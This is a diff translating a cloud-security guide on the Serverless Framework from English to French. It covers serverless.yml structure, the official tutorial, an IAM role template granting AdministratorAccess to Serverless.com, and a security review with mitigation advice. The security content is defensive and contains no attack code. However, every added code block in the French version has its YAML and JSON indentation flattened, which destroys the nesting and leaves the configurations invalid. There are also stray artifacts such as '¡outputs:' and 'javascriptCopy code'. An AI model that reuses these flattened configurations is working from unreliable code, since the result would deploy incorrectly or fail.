-    stage: ${opt:stage, 'dev'}
-  ```
-
-</details>
-
-<details>
-
-<summary>Outputs</summary>
-
-**Outputs** define the values that are returned after a service is deployed, such as resource ARNs, endpoints, or other useful information. They are specified under the `outputs` section and often used to expose information to other services or for easy access post-deployment.
+<summary>Sorties</summary>
 
+**Sorties** définissent les valeurs qui sont retournées après qu'un service a été déployé, telles que les ARNs de ressources, les points de terminaison ou d'autres informations utiles. Elles sont spécifiées sous la section `outputs` et sont souvent utilisées pour exposer des informations à d'autres services ou pour un accès facile après le déploiement.
 ```yaml
 ¡outputs:
-  ApiEndpoint:
-    Description: "API Gateway endpoint URL"
-    Value:
-      Fn::Join:
-        - ""
-        - - "https://"
-          - Ref: ApiGatewayRestApi
-          - ".execute-api."
-          - Ref: AWS::Region
-          - ".amazonaws.com/"
-          - Ref: AWS::Stage
+ApiEndpoint:
+Description: "API Gateway endpoint URL"
+Value:
+Fn::Join:
+- ""
+- - "https://"
+- Ref: ApiGatewayRestApi
+- ".execute-api."
+- Ref: AWS::Region
+- ".amazonaws.com/"
+- Ref: AWS::Stage
 ```
-
 </details>
 
 <details>
 
-<summary>IAM Roles and Permissions</summary>
-
-**IAM Roles and Permissions** define the security credentials and access rights for your functions and other resources. They are managed under the `provider` or individual function settings to specify necessary permissions.
+<summary>Rôles et autorisations IAM</summary>
 
+**Rôles et autorisations IAM** définissent les informations d'identification de sécurité et les droits d'accès pour vos fonctions et autres ressources. Ils sont gérés sous les paramètres `provider` ou de fonction individuelle pour spécifier les autorisations nécessaires.
 ```yaml
 provider:
-  [...]
-  iam:
-    role:
-      statements:
-        - Effect: 'Allow'
-          Action:
-            - 'dynamodb:PutItem'
-            - 'dynamodb:Get*'
-            - 'dynamodb:Scan*'
-            - 'dynamodb:UpdateItem'
-            - 'dynamodb:DeleteItem'
-          Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
 ```
-
 </details>
 
 <details>
 
-<summary>Environment Variables</summary>
-
-**Variables** allow you to pass configuration settings and secrets to your functions without hardcoding them. They are defined under the `environment` section for either the provider or individual functions.
+<summary>Variables d'environnement</summary>
 
+**Variables** vous permettent de passer des paramètres de configuration et des secrets à vos fonctions sans les coder en dur. Elles sont définies sous la section `environment` pour le fournisseur ou pour des fonctions individuelles.
 ```yaml
 provider:
-  environment:
-    STAGE: ${self:provider.stage}
+environment:
+STAGE: ${self:provider.stage}
 functions:
-  hello:
-    handler: handler.hello
-    environment:
-      TABLE_NAME: ${self:custom.tableName}
+hello:
+handler: handler.hello
+environment:
+TABLE_NAME: ${self:custom.tableName}
 ```
-
 </details>
 
 <details>
 
-<summary>Dependencies</summary>
-
-**Dependencies** manage the external libraries and modules your functions require. They typically handled via package managers like npm or pip, and bundled with your deployment package using tools or plugins like `serverless-webpack`.
+<summary>Dépendances</summary>
 
+**Dépendances** gèrent les bibliothèques et modules externes dont vos fonctions ont besoin. Elles sont généralement gérées via des gestionnaires de paquets comme npm ou pip, et regroupées avec votre package de déploiement à l'aide d'outils ou de plugins comme `serverless-webpack`.
 ```yaml
 plugins:
-  - serverless-webpack
+- serverless-webpack
 ```
-
 </details>
 
 <details>
 
 <summary>Hooks</summary>
 
-**Hooks** allow you to run custom scripts or commands at specific points in the deployment lifecycle. They are defined using plugins or within the `serverless.yml` to perform actions before or after deployments.
-
+**Hooks** vous permettent d'exécuter des scripts ou des commandes personnalisés à des moments spécifiques du cycle de vie de déploiement. Ils sont définis à l'aide de plugins ou dans le `serverless.yml` pour effectuer des actions avant ou après les déploiements.
 ```yaml
 custom:
-  hooks:
-    before:deploy:deploy: echo "Starting deployment..."
+hooks:
+before:deploy:deploy: echo "Starting deployment..."
 ```
-
 </details>
 
-### Tutorial
+### Tutoriel
 
-This is a summary of the official tutorial [**from the docs**](https://www.serverless.com/framework/docs/tutorial):
-
-1. Create an AWS account (Serverless.com start in AWS infrastructure)
-2. Create an account in serverless.com
-3. Create an app:
+Ceci est un résumé du tutoriel officiel [**des docs**](https://www.serverless.com/framework/docs/tutorial) :
 
+1. Créez un compte AWS (Serverless.com commence dans l'infrastructure AWS)
+2. Créez un compte sur serverless.com
+3. Créez une application :
 ```bash
 # Create temp folder for the tutorial
 mkdir /tmp/serverless-tutorial
@@ -313,26 +284,22 @@ serverless #Choose first one (AWS / Node.js / HTTP API)
 ## Create A New App
 ## Indicate a name like "tutorialapp)
 ```
-
-This should have created an **app** called `tutorialapp` that you can check in [serverless.com](serverless.com-security.md) and a folder called `Tutorial` with the file **`handler.js`** containing some JS code with a `helloworld` code and the file **`serverless.yml`** declaring that function:
+Cela aurait dû créer une **app** appelée `tutorialapp` que vous pouvez vérifier dans [serverless.com](serverless.com-security.md) et un dossier appelé `Tutorial` avec le fichier **`handler.js`** contenant du code JS avec un code `helloworld` et le fichier **`serverless.yml`** déclarant cette fonction :
 
 {{#tabs }}
 {{#tab name="handler.js" }}
-
 ```javascript
 exports.hello = async (event) => {
-  return {
-    statusCode: 200,
-    body: JSON.stringify({
-      message: "Go Serverless v4! Your function executed successfully!",
-    }),
-  }
+return {
+statusCode: 200,
+body: JSON.stringify({
+message: "Go Serverless v4! Your function executed successfully!",
+}),
+}
 }
 ```
-
 {{#endtab }}
 {{#tab name="serverless.yml" }}
-
 ```yaml
 # "org" ensures this Service is used with the correct Serverless Framework Access Key.
 org: testing12342
@@ -342,130 +309,122 @@ app: tutorialapp
 service: Tutorial
 
 provider:
-  name: aws
-  runtime: nodejs20.x
+name: aws
+runtime: nodejs20.x
 
 functions:
-  hello:
-    handler: handler.hello
-    events:
-      - httpApi:
-          path: /
-          method: get
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-4. Create an AWS provider, going in the **dashboard** in `https://app.serverless.com/<org name>/settings/providers?providerId=new&provider=aws`.
-   1. To give `serverless.com` access to AWS It will ask to run a cloudformation stack using this config file (at the time of this writing): [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
-   2. This template generates a role called **`SFRole-<ID>`** with **`arn:aws:iam::aws:policy/AdministratorAccess`** over the account with a Trust Identity that allows `Serverless.com` AWS account to access the role.
+4. Créez un fournisseur AWS en allant dans le **tableau de bord** à `https://app.serverless.com/<nom de l'organisation>/settings/providers?providerId=new&provider=aws`.
+1. Pour donner accès à `serverless.com` à AWS, il demandera d'exécuter une pile cloudformation en utilisant ce fichier de configuration (au moment de la rédaction) : [https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml](https://serverless-framework-template.s3.amazonaws.com/roleTemplate.yml)
+2. Ce modèle génère un rôle appelé **`SFRole-<ID>`** avec **`arn:aws:iam::aws:policy/AdministratorAccess`** sur le compte avec une identité de confiance qui permet au compte AWS de `Serverless.com` d'accéder au rôle.
 
 <details>
 
 <summary>Yaml roleTemplate</summary>
-
 ```yaml
 Description: This stack creates an IAM role that can be used by Serverless Framework for use in deployments.
 Resources:
-  SFRole:
-    Type: AWS::IAM::Role
-    Properties:
-      AssumeRolePolicyDocument:
-        Version: "2012-10-17"
-        Statement:
-          - Effect: Allow
-            Principal:
-              AWS: arn:aws:iam::486128539022:root
-            Action:
-              - sts:AssumeRole
-            Condition:
-              StringEquals:
-                sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
-      Path: /
-      RoleName: !Ref RoleName
-      ManagedPolicyArns:
-        - arn:aws:iam::aws:policy/AdministratorAccess
-  ReporterFunction:
-    Type: Custom::ServerlessFrameworkReporter
-    Properties:
-      ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
-      OrgUid: !Ref OrgUid
-      RoleArn: !GetAtt SFRole.Arn
-      Alias: !Ref Alias
+SFRole:
+Type: AWS::IAM::Role
+Properties:
+AssumeRolePolicyDocument:
+Version: "2012-10-17"
+Statement:
+- Effect: Allow
+Principal:
+AWS: arn:aws:iam::486128539022:root
+Action:
+- sts:AssumeRole
+Condition:
+StringEquals:
+sts:ExternalId: !Sub "ServerlessFramework-${OrgUid}"
+Path: /
+RoleName: !Ref RoleName
+ManagedPolicyArns:
+- arn:aws:iam::aws:policy/AdministratorAccess
+ReporterFunction:
+Type: Custom::ServerlessFrameworkReporter
+Properties:
+ServiceToken: "arn:aws:lambda:us-east-1:486128539022:function:sp-providers-stack-reporter-custom-resource-prod-tmen2ec"
+OrgUid: !Ref OrgUid
+RoleArn: !GetAtt SFRole.Arn
+Alias: !Ref Alias
 Outputs:
-  SFRoleArn:
-    Description: "ARN for the IAM Role used by Serverless Framework"
-    Value: !GetAtt SFRole.Arn
+SFRoleArn:
+Description: "ARN for the IAM Role used by Serverless Framework"
+Value: !GetAtt SFRole.Arn
 Parameters:
-  OrgUid:
-    Description: Serverless Framework Org Uid
-    Type: String
-  Alias:
-    Description: Serverless Framework Provider Alias
-    Type: String
-  RoleName:
-    Description: Serverless Framework Role Name
-    Type: String
+OrgUid:
+Description: Serverless Framework Org Uid
+Type: String
+Alias:
+Description: Serverless Framework Provider Alias
+Type: String
+RoleName:
+Description: Serverless Framework Role Name
+Type: String
 ```
-
 </details>
 
 <details>
 
-<summary>Trust Relationship</summary>
-
+<summary>Relation de confiance</summary>
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Effect": "Allow",
-      "Principal": {
-        "AWS": "arn:aws:iam::486128539022:root"
-      },
-      "Action": "sts:AssumeRole",
-      "Condition": {
-        "StringEquals": {
-          "sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
-        }
-      }
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Allow",
+"Principal": {
+"AWS": "arn:aws:iam::486128539022:root"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "ServerlessFramework-7bf7ddef-e1bf-43eb-a111-4d43e0894ccb"
+}
+}
+}
+]
 }
 ```
-
 </details>
 
-5. The tutorial asks to create the file `createCustomer.js` which will basically create a new API endpoint handled by the new JS file and asks to modify the `serverless.yml` file to make it generate a **new DynamoDB table**, define an **environment variable**, the role that will be using the generated lambdas.
+5. Le tutoriel demande de créer le fichier `createCustomer.js` qui va essentiellement créer un nouveau point de terminaison API géré par le nouveau fichier JS et demande de modifier le fichier `serverless.yml` pour qu'il génère une **nouvelle table DynamoDB**, définisse une **variable d'environnement**, le rôle qui utilisera les lambdas générées.
 
 {{#tabs }}
 {{#tab name="createCustomer.js" }}
-
 ```javascript
 "use strict"
 const AWS = require("aws-sdk")
 module.exports.createCustomer = async (event) => {
-  const body = JSON.parse(Buffer.from(event.body, "base64").toString())
-  const dynamoDb = new AWS.DynamoDB.DocumentClient()
-  const putParams = {
-    TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
-    Item: {
-      primary_key: body.name,
-      email: body.email,
-    },
-  }
-  await dynamoDb.put(putParams).promise()
-  return {
-    statusCode: 201,
-  }
+const body = JSON.parse(Buffer.from(event.body, "base64").toString())
+const dynamoDb = new AWS.DynamoDB.DocumentClient()
+const putParams = {
+TableName: process.env.DYNAMODB_CUSTOMER_TABLE,
+Item: {
+primary_key: body.name,
+email: body.email,
+},
+}
+await dynamoDb.put(putParams).promise()
+return {
+statusCode: 201,
+}
 }
 ```
-
 {{#endtab }}
 
 {{#tab name="serverless.yml" }}
-
 ```yaml
 # "org" ensures this Service is used with the correct Serverless Framework Access Key.
 org: testing12342
@@ -475,388 +434,379 @@ app: tutorialapp
 service: Tutorial
 
 provider:
-  name: aws
-  runtime: nodejs20.x
-  environment:
-    DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
-  iam:
-    role:
-      statements:
-        - Effect: "Allow"
-          Action:
-            - "dynamodb:PutItem"
-            - "dynamodb:Get*"
-            - "dynamodb:Scan*"
-            - "dynamodb:UpdateItem"
-            - "dynamodb:DeleteItem"
-          Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
+name: aws
+runtime: nodejs20.x
+environment:
+DYNAMODB_CUSTOMER_TABLE: ${self:service}-customerTable-${sls:stage}
+iam:
+role:
+statements:
+- Effect: "Allow"
+Action:
+- "dynamodb:PutItem"
+- "dynamodb:Get*"
+- "dynamodb:Scan*"
+- "dynamodb:UpdateItem"
+- "dynamodb:DeleteItem"
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
 
 functions:
-  hello:
-    handler: handler.hello
-    events:
-      - httpApi:
-          path: /
-          method: get
-  createCustomer:
-    handler: createCustomer.createCustomer
-    events:
-      - httpApi:
-          path: /
-          method: post
+hello:
+handler: handler.hello
+events:
+- httpApi:
+path: /
+method: get
+createCustomer:
+handler: createCustomer.createCustomer
+events:
+- httpApi:
+path: /
+method: post
 
 resources:
-  Resources:
-    CustomerTable:
-      Type: AWS::DynamoDB::Table
-      Properties:
-        AttributeDefinitions:
-          - AttributeName: primary_key
-            AttributeType: S
-        BillingMode: PAY_PER_REQUEST
-        KeySchema:
-          - AttributeName: primary_key
-            KeyType: HASH
-        TableName: ${self:service}-customerTable-${sls:stage}
+Resources:
+CustomerTable:
+Type: AWS::DynamoDB::Table
+Properties:
+AttributeDefinitions:
+- AttributeName: primary_key
+AttributeType: S
+BillingMode: PAY_PER_REQUEST
+KeySchema:
+- AttributeName: primary_key
+KeyType: HASH
+TableName: ${self:service}-customerTable-${sls:stage}
 ```
-
 {{#endtab }}
 {{#endtabs }}
 
-6. Deploy it running **`serverless deploy`**
-   1. The deployment will be performed via a CloudFormation Stack
-   2. Note that the **lambdas are exposed via API gateway** and not via direct URLs
-7. **Test it**
-   1. The previous step will print the **URLs** where your API endpoints lambda functions have been deployed
+6. Déployez-le en exécutant **`serverless deploy`**
+1. Le déploiement sera effectué via une pile CloudFormation
+2. Notez que les **lambdas sont exposées via API gateway** et non via des URL directes
+7. **Testez-le**
+1. L'étape précédente affichera les **URLs** où vos fonctions lambda des points de terminaison API ont été déployées
 
-## Security Review of Serverless.com
+## Revue de sécurité de Serverless.com
 
-### **Misconfigured IAM Roles and Permissions**
+### **Rôles et permissions IAM mal configurés**
 
-Overly permissive IAM roles can grant unauthorized access to cloud resources, leading to data breaches or resource manipulation.
+Des rôles IAM trop permissifs peuvent accorder un accès non autorisé aux ressources cloud, entraînant des violations de données ou une manipulation des ressources.
 
-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+Lorsqu'aucune permission n'est spécifiée pour une fonction Lambda, un rôle avec des permissions uniquement pour générer des journaux sera créé, comme :
 
 <details>
 
-<summary>Minimum lambda permissions</summary>
-
+<summary>Permissions minimales de lambda</summary>
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": [
-    {
-      "Action": [
-        "logs:CreateLogStream",
-        "logs:CreateLogGroup",
-        "logs:TagResource"
-      ],
-      "Resource": [
-        "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
-      ],
-      "Effect": "Allow"
-    },
-    {
-      "Action": ["logs:PutLogEvents"],
-      "Resource": [
-        "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
-      ],
-      "Effect": "Allow"
-    }
-  ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
 }
 ```
-
 </details>
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
-  ```yaml
-  provider:
-    [...]
-    iam:
-      role:
-        statements:
-          - Effect: 'Allow'
-            Action:
-              - 'dynamodb:PutItem'
-              - 'dynamodb:Get*'
-              - 'dynamodb:Scan*'
-              - 'dynamodb:UpdateItem'
-              - 'dynamodb:DeleteItem'
-            Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
-  ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **Principe du Moindre Privilège :** Attribuez uniquement les autorisations nécessaires à chaque fonction.
 
 ```yaml
 provider:
-  environment:
-    DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
 ```
 
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+- **Utiliser des Rôles Séparés :** Différenciez les rôles en fonction des exigences de la fonction.
+
+---
+
+### **Secrets Insecure et Gestion de Configuration**
+
+Stocker des informations sensibles (par exemple, des clés API, des identifiants de base de données) directement dans **`serverless.yml`** ou le code peut entraîner une exposition si les dépôts sont compromis.
+
+La méthode **recommandée** pour stocker des variables d'environnement dans le fichier **`serverless.yml`** de serverless.com (au moment de la rédaction) est d'utiliser les fournisseurs `ssm` ou `s3`, ce qui permet d'obtenir les **valeurs d'environnement de ces sources au moment du déploiement** et de **configurer** les **variables d'environnement des lambdas** avec le **texte clair des valeurs** !
+
+> [!CAUTION]
+> Par conséquent, toute personne ayant des autorisations pour lire la configuration des lambdas dans AWS pourra **accéder à toutes ces variables d'environnement en texte clair !**
+
+Par exemple, l'exemple suivant utilisera SSM pour obtenir une variable d'environnement :
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
+Et même si cela empêche de coder en dur la valeur de la variable d'environnement dans le **`serverless.yml`**, la valeur sera obtenue au moment du déploiement et sera **ajoutée en texte clair à l'intérieur de la variable d'environnement lambda**.
 
 > [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> La manière recommandée de stocker les variables d'environnement en utilisant serveless.com serait de **les stocker dans un secret AWS** et de simplement stocker le nom du secret dans la variable d'environnement et le **code lambda devrait le récupérer**.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **Intégration avec Secrets Manager :** Utilisez des services comme **AWS Secrets Manager.**
+- **Variables Chiffrées :** Profitez des fonctionnalités de chiffrement du Serverless Framework pour les données sensibles.
+- **Contrôles d'Accès :** Restreindre l'accès aux secrets en fonction des rôles.
 
 ---
 
-### **Vulnerable Code and Dependencies**
+### **Code et Dépendances Vulnérables**
 
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+Des dépendances obsolètes ou non sécurisées peuvent introduire des vulnérabilités, tandis qu'un traitement incorrect des entrées peut entraîner des attaques par injection de code.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **Gestion des Dépendances :** Mettez régulièrement à jour les dépendances et scannez les vulnérabilités.
 
-  ```yaml
-  plugins:
-    - serverless-webpack
-    - serverless-plugin-snyk
-  ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
 
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **Validation des Entrées :** Implémentez une validation stricte et une désinfection de toutes les entrées.
+- **Revue de Code :** Effectuez des revues approfondies pour identifier les failles de sécurité.
+- **Analyse Statique :** Utilisez des outils pour détecter les vulnérabilités dans le code.
 
 ---
 
-### **Inadequate Logging and Monitoring**
+### **Journalisation et Surveillance Inadéquates**
 
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+Sans une journalisation et une surveillance appropriées, les activités malveillantes peuvent passer inaperçues, retardant la réponse aux incidents.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **Journalisation Centralisée :** Agrégez les journaux en utilisant des services comme **AWS CloudWatch** ou **Datadog**.
 
-  ```yaml
-  plugins:
-    - serverless-plugin-datadog
-  ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
 
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **Activer la Journalisation Détailée :** Capturez des informations essentielles sans exposer de données sensibles.
+- **Configurer des Alertes :** Configurez des alertes pour des activités ou des anomalies suspectes.
+- **Surveillance Régulière :** Surveillez en continu les journaux et les métriques pour des incidents de sécurité potentiels.
 
 ---
 
-### **Insecure API Gateway Configurations**
+### **Configurations Insecure de l'API Gateway**
 
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+Des API ouvertes ou mal sécurisées peuvent être exploitées pour un accès non autorisé, des attaques par déni de service (DoS) ou des attaques intersites.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **Authentification et Autorisation :** Implémentez des mécanismes robustes comme OAuth, des clés API ou JWT.
 
-  ```yaml
-  functions:
-    hello:
-      handler: handler.hello
-      events:
-        - http:
-            path: hello
-            method: get
-            authorizer: aws_iam
-  ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
 
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **Limitation de Taux et Throttling :** Prévenir les abus en limitant les taux de requêtes.
 
-  ```yaml
-  provider:
-    apiGateway:
-      throttle:
-        burstLimit: 200
-        rateLimit: 100
-  ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
 
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **Configuration CORS Sécurisée :** Restreindre les origines, méthodes et en-têtes autorisés.
 
-  ```yaml
-  functions:
-    hello:
-      handler: handler.hello
-      events:
-        - http:
-            path: hello
-            method: get
-            cors:
-              origin: https://yourdomain.com
-              headers:
-                - Content-Type
-  ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
 
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **Utiliser des Pare-feu d'Applications Web (WAF) :** Filtrer et surveiller les requêtes HTTP pour des motifs malveillants.
 
 ---
 
-### **Insufficient Function Isolation**
+### **Isolation de Fonction Insuffisante**
 
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+Des ressources partagées et une isolation inadéquate peuvent entraîner des escalades de privilèges ou des interactions non intentionnelles entre les fonctions.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **Isoler les Fonctions :** Assignez des ressources distinctes et des rôles IAM pour garantir un fonctionnement indépendant.
+- **Partitionnement des Ressources :** Utilisez des bases de données ou des seaux de stockage séparés pour différentes fonctions.
+- **Utiliser des VPC :** Déployez des fonctions au sein de Clouds Privés Virtuels pour une isolation réseau améliorée.
 
-  ```yaml
-  provider:
-    vpc:
-      securityGroupIds:
-        - sg-xxxxxxxx
-      subnetIds:
-        - subnet-xxxxxx
-  ```
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+subnetIds:
+- subnet-xxxxxx
+```
 
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **Limiter les Permissions des Fonctions :** Assurez-vous que les fonctions ne peuvent pas accéder ou interférer avec les ressources des autres, sauf si cela est explicitement requis.
 
 ---
 
-### **Inadequate Data Protection**
+### **Protection des Données Inadéquate**
 
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+Des données non chiffrées au repos ou en transit peuvent être exposées, entraînant des violations de données ou des falsifications.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **Chiffrer les Données au Repos :** Utilisez les fonctionnalités de chiffrement des services cloud.
 
-  ```yaml
-  resources:
-    Resources:
-      MyDynamoDBTable:
-        Type: AWS::DynamoDB::Table
-        Properties:
-          SSESpecification:
-            SSEEnabled: true
-  ```
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
 
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **Chiffrer les Données en Transit :** Utilisez HTTPS/TLS pour toutes les transmissions de données.
+- **Sécuriser la Communication API :** Appliquez des protocoles de chiffrement et validez les certificats.
+- **Gérer les Clés de Chiffrement de Manière Sécurisée :** Utilisez des services de clés gérés et faites tourner les clés régulièrement.
 
 ---
 
-### **Lack of Proper Error Handling**
+### **Manque de Gestion d'Erreur Appropriée**
 
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+Des messages d'erreur détaillés peuvent exposer des informations sensibles sur l'infrastructure ou le code, tandis que des exceptions non gérées peuvent entraîner des plantages d'application.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **Messages d'Erreur Généraux :** Évitez d'exposer des détails internes dans les réponses d'erreur.
 
-  ```javascript
-  javascriptCopy code// Example in Node.js
-  exports.hello = async (event) => {
-    try {
-      // Function logic
-    } catch (error) {
-      console.error(error);
-      return {
-        statusCode: 500,
-        body: JSON.stringify({ message: 'Internal Server Error' }),
-      };
-    }
-  };
-  ```
+```javascript
+javascriptCopy code// Exemple en Node.js
+exports.hello = async (event) => {
+try {
+// Logique de la fonction
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Erreur Interne du Serveur' }),
+};
+}
+};
+```
 
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **Gestion Centralisée des Erreurs :** Gérez et désinfectez les erreurs de manière cohérente dans toutes les fonctions.
+- **Surveiller et Journaliser les Erreurs :** Suivez et analysez les erreurs en interne sans exposer de détails aux utilisateurs finaux.
 
 ---
 
-### **Insecure Deployment Practices**
+### **Pratiques de Déploiement Insecure**
 
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+Des configurations de déploiement exposées ou un accès non autorisé aux pipelines CI/CD peuvent entraîner des déploiements de code malveillant ou des erreurs de configuration.
 
-#### **Mitigation Strategies**
+#### **Stratégies d'atténuation**
 
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **Sécuriser les Pipelines CI/CD :** Mettez en œuvre des contrôles d'accès stricts, une authentification multi-facteurs (MFA) et des audits réguliers.
+- **Stocker la Configuration de Manière Sécurisée :** Gardez les fichiers de déploiement exempts de secrets codés en dur et de données sensibles.
+- **Utiliser des Outils de Sécurité pour l'Infrastructure as Code (IaC) :** Employez des outils comme **Checkov** ou **Terraform Sentinel** pour appliquer des politiques de sécurité.
+- **Déploiements Immutables :** Prévenir les modifications non autorisées après le déploiement en adoptant des pratiques d'infrastructure immuable.
 
 ---
 
